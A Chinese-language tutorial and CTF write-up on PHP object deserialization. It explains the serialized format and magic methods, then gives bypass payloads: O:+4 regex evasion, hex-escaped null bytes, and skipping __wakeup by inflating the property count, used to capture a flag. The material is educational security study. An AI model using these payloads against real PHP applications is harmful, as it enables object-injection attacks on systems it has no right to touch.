1、基础知识
1.1 序列化的展示和解析
<?php
// 将对象序列化
class A{
public $test = 123;
}
$a = new A;
$a_ser=serialize($a);
echo $a_ser."<br/>";
// 将数组序列化
$b = array('xiaoming','xiaohong','ligang','dongqin');
$b_ser=serialize($b);
echo "$b_ser";echo "<br/>";
//反序列化
$b_unser = unserialize($b_ser);
$a_unser = unserialize($a_ser);
print_r($b_unser);
print_r($a_unser);
?>
结果:
O:1:"A":1:{s:4:"test";i:123;}
a:4:{i:0;s:8:"xiaoming";i:1;s:8:"xiaohong";i:2;s:6:"ligang";i:3;s:7:"dongqin";}
Array ( [0] => xiaoming [1] => xiaohong [2] => ligang [3] => dongqin ) A Object ( [test] => 123 )
序列化后字符串意义解释:
变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
1.2 相关魔术方法
一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已
__construct():
构造函数,当对象被创建的时候自动调用,对对象进行初始化。但是在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。
__destruct():
当对象被销毁时会自动调用。
__wakeup():
unserialize()时会自动调用。
__sleep():
serialize() 时自动调用
__toString():
把类当作字符串使用时触发
打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
启发:如果preg_match调用一个类中的变量,如果通过unserialize()将这个变量设为一个类,那么就会调用_toString方法。
__invoke():
当脚本尝试将对象调用为函数时触发
作用:
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
注意:
本特性只在 PHP 5.3.0 及以上版本有效。
__call()
在对象上下文中调用不可访问的方法时触发
__callStatic()
在静态上下文中调用不可访问的方法时触发
__get()
用于从不可访问的属性读取数据
__set()
用于将数据写入不可访问的属性
__isset()
在不可访问的属性上调用isset()或empty()触发
__unset()
在不可访问的属性上使用unset()时触发
代码理解:
<?php
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
其他魔术方法:
1.3 序列化的一些注意点(很重要)
1.3.1 变量访问问题
<?php
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$username = $username;
$password = $password;
}
public function printName(){
echo $this->username;
echo '<br>';
echo $this->password;
}
}
$s=new Name('123','123');
$s->printName();
?>
**结果:**admin 100
username属性和password属性,因为在类中函数中如果不用this->属性名是访问不到类的属性的。
1.3.2 序列化对象
private变量会被序列化为:%00类名%00变量名
protected变量会被序列化为: %00*%00变量名
public变量会被序列化为:变量名
ps:可以尝试在urlencode(serializa($s))来显示%00
1.3.3 一些绕过
(1)绕过正则匹配
O:4 修改为O:+4 来绕过正则匹配,注意:需要先将+url编码为%2b
不然+会被认为是空格
(2)绕过protected或private中的%00空字符匹配
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
例如:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
2. 反序列化__wake()方法绕过
ps:以wp的形式讲解知识点
2.1 题目引入
打开题目,看到一段代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
代码审计走起,最重要的是这一个函数function __wakeup(),配合题目unserialize想到PHP的序列化和反序列化
__wakeup()函数用法:
wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法。
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>
最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello
2.2 __wakeup()函数漏洞说明
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
?>
最后页面上输出的就是Student对象的一个序列化输出:
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。
当我们将上述的序列化的字符串中的对象属性个数修改为5,变为
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
最后执行运行的代码如下:
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
这样就成功地绕过了__wakeup()函数。
再此题中,我们也需要绕过__weakup函数,结果?code=的提示,需要将序列化之后的值传给code。
首先实例化xctf类并对其使用序列化(这里就实例化xctf类为对象test)
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf(); //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test)); //输出被序列化的对象(test)
?>
执行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
我们要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本),wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即如下所示:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
访问url:http://url?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
即可得到flag
ps:当serialize给对象中的私有变量(private前缀)加密时会加上(?Demo?),??不知道,所以当做这种的时候,需要直接在php代码中就将它进行处理。